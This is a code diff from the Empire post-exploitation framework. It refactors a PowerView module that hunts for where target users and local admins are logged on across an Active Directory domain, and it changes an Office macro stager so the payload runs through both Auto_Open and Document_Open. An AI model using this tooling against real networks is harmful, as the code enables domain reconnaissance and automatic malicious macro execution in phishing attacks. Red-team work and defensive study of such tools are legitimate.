lib/modules/situational_awareness/network/powerview/user_hunter.py index 760e30b60..7a336e6a4 100644 --- a/lib/modules/situational_awareness/network/userhunter.py +++ b/lib/modules/situational_awareness/network/powerview/user_hunter.py @@ -36,43 +36,43 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'Hosts' : { + 'ComputerName' : { 'Description' : 'Hosts to enumerate.', 'Required' : False, 'Value' : '' }, - 'HostList' : { - 'Description' : 'Hostlist to enumerate.', + 'ComputerFilter' : { + 'Description' : 'Host filter name to query AD for, wildcards accepted.', 'Required' : False, 'Value' : '' }, - 'HostFilter' : { - 'Description' : 'Host filter name to query AD for, wildcards accepted.', + 'GroupName' : { + 'Description' : 'Group name to query for target users.', 'Required' : False, 'Value' : '' }, - 'UserName' : { - 'Description' : 'Specific username to search for.', + 'TargetServer' : { + 'Description' : 'Hunt for users who are effective local admins on a target server.', 'Required' : False, 'Value' : '' }, - 'GroupName' : { - 'Description' : 'Group to query for user names.', + 'UserName' : { + 'Description' : 'Specific username to search for.', 'Required' : False, - 'Value' : '' + 'Value' : '' }, - 'UserList' : { - 'Description' : 'List of usernames to search for.', + 'UserFilter' : { + 'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"', 'Required' : False, 'Value' : '' }, 'StopOnSuccess' : { - 'Description' : 'Switch. Stop when a target user is found.', + 'Description' : 'Switch. Stop hunting after finding after finding a target user.', 'Required' : False, 'Value' : '' - }, + }, 'NoPing' : { - 'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.', + 'Description' : "Don't ping each host to ensure it's up before enumerating.", 'Required' : False, 'Value' : '' }, @@ -86,13 +86,28 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, 'ShowAll' : { - 'Description' : 'Switch. Show all result output.', + 'Description' : 'Switch. Return all user location results without filtering.', 'Required' : False, - 'Value' : '' + 'Value' : '' }, - 'Domain' : { - 'Description' : 'Domain to enumerate for hosts.', + 'Stealth' : { + 'Description' : 'Switch. Only enumerate sessions from connonly used target servers.', + 'Required' : False, + 'Value' : '' + }, + 'Threads' : { + 'Description' : 'The maximum concurrent threads to execute.', 'Required' : False, 'Value' : '' } @@ -111,8 +126,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -123,9 +140,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Invoke-UserHunter " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -135,9 +153,7 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - - script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}" - - script += ';"`nInvoke-UserHunter completed"' + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script diff --git a/lib/modules/template.py b/lib/modules/template.py index 3a4f1b171..fc9a11966 100644 --- a/lib/modules/template.py +++ b/lib/modules/template.py @@ -19,8 +19,8 @@ def __init__(self, mainMenu, params=[]): # True if the module needs to run in the background 'Background' : False, - # True if we're saving the output as a file - 'SaveOutput' : True, + # File extension to save the file as + 'OutputExtension' : None, # True if the module needs admin rights to run 'NeedsAdmin' : False, @@ -112,4 +112,4 @@ def generate(self): else: script += " -" + str(option) + " " + str(values['Value']) - return script \ No newline at end of file + return script diff --git a/lib/stagers/launcher_vbs.py b/lib/stagers/launcher_vbs.py index 9f4daaf4e..a5e12ee92 100644 --- a/lib/stagers/launcher_vbs.py +++ b/lib/stagers/launcher_vbs.py @@ -26,7 +26,7 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'OutFile' : { - 'Description' : 'File to output .bat launcher to, otherwise displayed on the screen.', + 'Description' : 'File to output .vbs launcher to, otherwise displayed on the screen.', 'Required' : False, 'Value' : '/tmp/launcher.vbs' }, diff --git a/lib/stagers/macro.py b/lib/stagers/macro.py index d315b80b6..6c5e4a5fa 100644 --- a/lib/stagers/macro.py +++ b/lib/stagers/macro.py @@ -9,7 +9,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@enigma0x3', '@harmj0y'], - 'Description': ('Generates an office macro for Empire.'), + 'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'), 'Comments': [ 'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/' @@ -79,7 +79,10 @@ def generate(self): for chunk in chunks[1:]: payload += "\tstr = str + \"" + str(chunk) + "\"\n" - macro = "Sub Document_Open()\n" + macro = "Sub Auto_Open()\n" + macro += "\tDebugging\n" + macro += "End Sub\n\n" + macro += "Sub Document_Open()\n" macro += "\tDebugging\n" macro += "End Sub\n\n"